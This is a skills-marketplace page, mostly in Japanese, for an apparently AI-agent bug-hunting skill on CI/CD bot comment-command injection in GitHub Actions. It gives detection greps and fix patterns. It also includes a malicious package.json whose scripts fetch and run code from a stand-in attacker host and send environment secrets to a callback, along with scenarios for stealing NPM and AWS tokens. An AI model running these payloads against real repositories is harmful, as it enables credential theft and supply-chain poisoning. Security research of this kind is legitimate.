security-talent/bugskill-ai

cicd-bot-command-injection

Use when hunting CI/CD bot comment command vulnerabilities where issuecomment or pullrequestreviewcomment triggers invoke privileged workflows without verifying the commenter's identity or authorization.

ソースを見る

使い方

  1. インストールコマンドをコピーし、自分の環境へ導入する前にソースを確認します。
  2. 必要なツール、認証情報、対応環境を原文で確認します。
  3. 入力と成果物を指定し、出力を資料と照合します。
npx skills add https://github.com/security-talent/bugskill-ai --skill cicd-bot-command-injection

開始前の確認

  • 導入にはモデル契約、API枠、ファイルへのアクセス許可は含まれません。
  • スター数や導入数は活動の指標であり、独立した品質・安全性試験ではありません。
リポジトリの原文

見出し、例、コード、表、リンク、参照画像を含む原文を表示しています。

CI/CD Bot Command Injection

What Is Broken and Why

Some repositories implement "ChatOps" patterns where maintainers post special comments (e.g., @bot publish, /deploy staging) to trigger CI/CD workflows. The issue_comment and pull_request_review_comment triggers run in the base repository context with access to secrets. When the workflow fails to verify that the commenter is an authorized maintainer before checking out and running PR code, any repository contributor (or in public repos, anyone) can trigger privileged jobs — including those that publish packages, deploy to production, or access sensitive tokens.

Key Signals

  • on: issue_comment or on: pull_request_review_comment trigger
  • Workflow body checks github.event.comment.body for a command string (e.g., contains(..., 'publish'))
  • No github.actor membership check against an allowlist or team
  • Workflow subsequently checks out the PR's merge commit or head SHA
  • Secrets (NPM_TOKEN, AWS_*, deploy keys) accessible in the triggered job
  • uses: ./.github/workflows/cmd-*.yml pattern — bot delegates to another reusable workflow that has secrets
  • Environment with "zero protection rules" used in publish/deploy job

Methodology

  1. Enumerate issue_comment and pull_request_review_comment triggers:
bash
   grep -rln 'issue_comment\|pull_request_review_comment' .github/workflows/
  1. Read the workflow — find what command string it listens for:
bash
   grep -A10 'issue_comment' .github/workflows/WORKFLOW.yml | grep 'contains\|startsWith\|body'
  1. Check for authorization verification:
bash
   grep 'github.actor\|team\|collaborator\|permission' .github/workflows/WORKFLOW.yml
  1. If no actor check — any commenter can trigger it.
  2. Trace what the triggered workflow does: does it checkout PR code? Does it have secrets?
  3. Open a PR (or find an existing one) and post the trigger comment.
  4. Monitor workflow run to confirm execution and exfiltrate secrets.

Payloads & Tools

bash
# Trigger a vulnerable bot command (GraphQL-JS pattern)
gh pr comment PR_NUMBER --body "@github-actions publish-pr-on-npm"

# Generic slash command
gh issue comment ISSUE_NUMBER --body "/deploy production"
gh pr comment PR_NUMBER --body "/publish canary"
gh pr comment PR_NUMBER --body "@bot release"

# Find the exact command string from workflow file
grep -r 'contains.*comment.*body\|startsWith.*comment.*body' .github/workflows/
json
// Malicious package.json in PR branch — runs when bot triggers npm build
{
  "scripts": {
    "build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node",
    "preinstall": "curl -d @/proc/self/environ https://CALLBACK"
  }
}
bash
# Check if environment has protection rules (zero rules = secrets freely available)
gh api repos/ORG/REPO/environments/ENV_NAME | jq '.protection_rules'
# Empty array = no required reviewers = secrets accessible to any triggered job

Bypass Techniques

  • No actor check: if the workflow only checks contains(github.event.comment.body, '/publish') without also verifying github.actor is a maintainer, any user can trigger it
  • Actor check bypass via username spoofing: some checks use github.actor == 'dependabot[bot]' — if the real bot account is also allowed, look for ways to impersonate naming patterns
  • Reusable workflow secrets passthrough: bot workflow passes secrets to a reusable workflow via secrets: inherit or explicit secrets: block — check if the reusable workflow has weaker authorization
  • Comment on old PRs: PRs don't need to be open — commenting on a merged or closed PR may still trigger the workflow if the condition only checks PR existence
  • Environment with zero protection rules: even if the main workflow is locked down, the publish environment may have no required reviewers, allowing automated jobs to access its secrets without manual approval

Exploitation Scenarios

Scenario 1 — NPM canary token via comment command (GraphQL-JS pattern) Setup: issue_comment workflow triggers on @github-actions publish-pr-on-npm, no actor authorization check. Workflow checks out PR merge commit, runs npm run build:npm, then publishes with NPM_CANARY_PR_PUBLISH_TOKEN in a zero-protection environment. Trigger: Attacker opens PR with malicious build:npm script, posts @github-actions publish-pr-on-npm comment. Impact: Build job executes attacker code → poisons cache → publish job restores poisoned cache → NPM_CANARY_PR_PUBLISH_TOKEN exfiltrated. Attacker can publish malicious canary versions affecting downstream consumers (Apollo, Relay).

Scenario 2 — Deploy key exposure via slash command Setup: Repository uses /deploy staging comment to trigger deployment workflow. No check that commenter is a maintainer. Deployment workflow has AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY. Trigger: Attacker (with read access to repo) posts /deploy staging on any open PR. Impact: Deployment workflow runs with attacker's PR code in staging environment — arbitrary code execution with AWS credentials.

Scenario 3 — Secrets via zero-protection environment Setup: Bot workflow triggers on comment, passes secrets to reusable workflow via secrets: inherit. The reusable workflow uses environment: production which has zero protection rules. Trigger: Attacker triggers the comment command. Impact: Production secrets accessible to the job without any manual approval step — attacker receives full production credentials.

False Positives

  • Workflow checks github.actor against a hardcoded allowlist or org team membership before proceeding
  • Comment command only triggers read-only operations (posting status, running linters) — no secrets in scope
  • Environment has required reviewers — a human must approve before secrets are released to the job
  • Workflow runs in a sandbox with no secret access (permissions: {} or only pull-requests: write)

Fix Patterns

yaml
# WRONG: no actor authorization check
on:
  issue_comment:
    types: [created]
jobs:
  publish:
    if: contains(github.event.comment.body, '@bot publish')
    steps:
      - run: npm publish
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

# CORRECT: verify commenter is a repo collaborator with write access
jobs:
  check-permission:
    runs-on: ubuntu-latest
    outputs:
      allowed: ${{ steps.check.outputs.result }}
    steps:
      - id: check
        uses: actions/github-script@v7
        with:
          script: |
            const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
              owner: context.repo.owner,
              repo: context.repo.repo,
              username: context.actor
            });
            return ['admin', 'write'].includes(data.permission);
  publish:
    needs: check-permission
    if: needs.check-permission.outputs.allowed == 'true'
  • Always verify github.actor has write/maintain/admin permission before running privileged jobs triggered by comments
  • Use environments: with required reviewers for any job that accesses publish or deploy secrets
  • Separate the build (runs attacker code, no secrets) from the publish (no attacker code, has secrets)
  • Prefer workflow_dispatch with explicit input validation over comment-triggered commands

Related Skills

[[github-actions-script-injection]] shares the same root cause: untrusted user-supplied input (a comment body vs. a branch name) reaches a shell execution context without sanitization. Once a bot command triggers a build of attacker-controlled PR code, the exploit path continues into [[pwn-request]] territory — preinstall scripts in the checked-out package.json run with workflow permissions. A zero-protection environment accessed via bot command can also be reached via [[github-actions-cache-poisoning]] if the bot workflow shares a cache key with a privileged workflow.

同じリポジトリから

関連する Skills

すべての Skills
security-talent
コミュニティ

401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日
security-talent
コミュニティ

active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日
security-talent
コミュニティ

active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日
security-talent
コミュニティ

active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

1時間の導入数
1
GitHub Stars
15
更新日
9月26日